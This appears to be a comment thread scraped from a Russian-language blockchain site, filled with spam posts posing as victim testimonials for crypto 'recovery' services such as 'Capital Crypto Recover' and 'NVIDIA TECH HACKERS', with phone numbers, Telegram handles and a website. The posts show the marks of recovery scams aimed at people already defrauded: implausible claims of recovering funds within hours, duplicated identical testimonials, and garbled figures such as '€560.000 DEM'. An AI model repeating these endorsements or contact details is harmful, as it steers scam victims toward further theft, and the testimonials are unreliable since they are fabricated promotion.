    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon